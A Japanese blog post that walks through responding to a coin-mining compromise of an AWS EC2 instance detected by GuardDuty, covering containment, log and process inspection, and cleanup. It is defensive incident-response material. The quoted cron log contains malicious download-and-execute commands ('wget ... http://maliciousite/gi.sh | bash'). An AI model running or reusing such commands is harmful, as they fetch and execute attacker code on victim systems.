GuardDutyで検出したコインマイナーに対処してみた

2021.12.22

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

こんにちは。
"No human labor is no human error" が大好きな ネクストモード株式会社 の吉井です。

GuardDuty 有効にしてますか~~ (挨拶

GuardDuty はとてもパワフルなサービスで AWS 上で稼働させているシステムの脅威検出に役立つます。
私がアーキテクチャ設計を担当させていただく際には必ず有効にしてします。
というより、AWS アカウントを契約したら無意識に 「GuardDuty ON」 と叫ぶレベルになっています。

担当しているお客様アカウントで GuardDuty を有効にして説明もしますが、
脅威検出してからの行動がわからないというお困りを聞くことがまれにあります。

今回はコインマイナーを GuardDuty で検出してから対処するまでをシミュレーションしてみます。

通知

いきなり脱線します。GuardDuty の検出は通知を設定しましょう。
気がつたら大惨事、、、にならないよう Slack やメールに通知します。

脅威シミュレーション

今回検出した脅威は以下の2つです。

  • CryptoCurrency:EC2/BitcoinTool.B
    • EC2インスタンスは、暗号通貨関連のアクティビティに関連付けられているIPアドレスをクエリしている
  • CryptoCurrency:EC2/BitcoinTool.B!DNS
    • EC2インスタンスは、暗号通貨関連のアクティビティに関連付けられているドメイン名をクエリしている

この2つがペアが検出されました。
何からの脆弱性を突かれ、コインマイナーを仕掛けられたと推測しました。

該当の EC2 は外部向けに HTTPS でサービス公開をしているものとします。

これより下に対処方法を記述します。
必ずしも上から順に実施することはありません。

GuardDudy

公式ドキュメントでおおまかな対処方法をガイドしてくれています。
事後でも日頃でも目を通しておくことをおすすめします。

Finding types
Remediating a compromised EC2 instance

セキュリティグループでシャットアウト

該当の EC2 や関連する踏み台サーバーや ALB のセキュリティグループを制限しました。

  • SSH / HTTPS のインバウンドを特定保守端末だけに限定
  • 被害を広げないようアウトバウンドを全閉じ

「本番ネットワークから切り離す」という行動が肝心だと考えます。
EC2 を停止し AMI 取得後にクローズドサブネットや別アカウントで起動して調査という案も選択肢です。

/var/log/secure

secure ログを確認します。
心当たりのない IP アドレスからログインはないか、作ったはずのないユーザーやログインしてはいけないユーザーからログインはないかを調査します。
root を取られていると /var/log/secure は改ざんされている可能性はありますが、それでも違和感は見つけられるはずです。

cron ログ

cron に何かを仕込まれて定期的にプログラムを動かされていないかを確認します。
今回は謎のサイトからシェルスクリプトをダウンロードされ実行されていました。

CROND[11129]: (git) CMD (wget -q -O - http://maliciousite/gi.sh | bash > /dev/null 2>&1)
CROND[11919]: (git) CMD (wget -q -O - http://maliciousite/unk.sh | sh > /dev/null 2>&1)

これを調べる前に crontab を消します。
git ユーザーで実行されていたので git ユーザーの crontab からこれらの行を削除します。

$ sudo crontab -u git -e

安全なマシンから不審なシェルスクリプトをダウンロードし中身を確認します。※誤って実行しないように!!!
何をされていたのか、何を仕込まれていたかを明確にしておきます。

通信

不審な通信をしているプロセスを突き止めます。
netstat コマンドを使います。
セキュリティグループを制限する前だったので ESTABILISHED な通信を発見しました。

$ sudo netstat -antp
tcp        0      0 172.31.33.80:34228      139.99.125.38:80        ESTABLISHED 16299/kthreaddw

プロセス番号を取得しました。
ps コマンドでも確認します。

$ ps aux
git      16299 80.2  7.3 352124 298420 ?       Sl   Dec20 875:03 /tmp/.gitlab/kthreaddw
git      16300  0.2  0.0  13628  1560 ?        S    Dec20   2:41 bash /tmp/.gitlabw
git      16317 79.7  7.3 352124 297852 ?       Sl   Dec20 869:23 /tmp/.gitlab/kthreaddw
git      16318  0.2  0.0  13628  1560 ?        S    Dec20   2:42 bash /tmp/.gitlabw

リソース使用率

大量にリソースを消費しているプロセスがないか確認します。
やはりこのプロセスが CPU を大量に使っています。

マルウェアのなかには CPU 使用率を40%程度に抑え目立たないようするものもあるのでご注意ください。

$ top
top - 01:49:21 up 20:37,  1 user,  load average: 40.86, 40.21, 40.17
Tasks: 187 total,   6 running, 142 sleeping,   0 stopped,   0 zombie
%Cpu(s): 31.6 us,  0.9 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si, 67.6 st
KiB Mem :  4037540 total,   292572 free,  3190364 used,   554604 buff/cache
KiB Swap:        0 total,        0 free,        0 used.   611240 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
16317 git       20   0  352124 297852   2952 S  82.3  7.4 883:58.66 kthreaddw
16299 git       20   0  352124 298420   2908 S  80.0  7.4 889:41.45 kthreaddw

プロセス停止

むむむ、何奴
プロセスは落とします。

$ kill -9 16299 16317

二度と起動しないようにファイルを消したいところですが、フォレンジック調査に使いたいのでリネームで残していきます。
ここは判断なので消してしまっても大丈夫です。

$ sudo mv /tmp/.gitlab/kthreaddw /tmp/.gitlab/kthreaddw_old

アクセスログ

apache、nginx、その他アプリケーションのアクセスログを確認します。
Web アプリケーションに脆弱性があるとそこからリモートコマンドを実行される可能性があります。

アクセスログから不正アクセスを見つけることは、砂漠で針を見つけるくらい大変です。
時間帯を限定する、管理画面へのアクセスに限定するなど条件を設定しながら少しずつ核心に迫っていきましょう。

ホームディレクトリ直下

profile, bashrc などに何か仕込まれていないかを確認します。
不審なプロセスを動かしていたユーザーと合わせて root も確認したほうが良いです。(理想は全ユーザー)

消されている可能性が高いですが、history に痕跡が残っているかもしれません。

.ssh 配下に余計なキーが置かれていたり、authorized_keys が編集されていないかも確認します。

開発元での調査

アプリケーションの脆弱性を突かれてしまった場合は、開発元が開示している情報を探します。
有償製品なら問い合わせ窓口があるはずです。

このシミュレーション例ですと、GitHub のイシューで同様事象が報告されておりワークアラウンドや解決策が議論されていました。

後始末

不審なプロセスを特定し起動されない処置をしました。
ここまですれば安心な気になりますが、そうではないと考えます。

後始末をしっかり行います。

クリーンインストール

発見できない、気が付かない何かを仕掛けられている可能性は十分に考えられます。
被害のあった EC2 は起動しないようにしましょう。
アプリケーションデータや必要なファイルだけエクスポートし、新しい EC2 に移行します。
アプリケーションや OS パッチは最新バージョンを使い、定期的にバージョンアップするフローを確立します。

セキュリティグループ見直し

公開サーバーで HTTPS を開けるのは仕方ないですが、他に不要なポートが不要な接続元に対して開放されていないかをチェックします。
SecurityHub や Config ルールで自動チェックすることも検討します。

OSユーザーの削除

もし OS に侵入されていたとしたら、そのユーザーは削除します。
侵入されていないとしても、試行されていたなら削除したほうが安全です。
稼働させている仮想サーバー全てで同じユーザーを作ることは珍しくないと思います。同じユーザーを作成している仮想サーバー全台で削除をしましょう。

root/Administrator で SSH/RDP ログインできるようにしているなら見直す良い機会です。

まとめ

セキュリティ系のイベントは検知した後にどれだけ素早く行動できるかが鍵です。

  • 被害を広げないこと
  • 一時的に対処する(強引でも)
  • 根本原因を探し出す
  • 効果的な対策をする(コインの裏返しではない)

対応が決まりきっているイベントが発生するわけではありません。常に手順・スキル・心構えの準備をしておくことが肝心だと思います。

以上、吉井 亮 がお届けしました。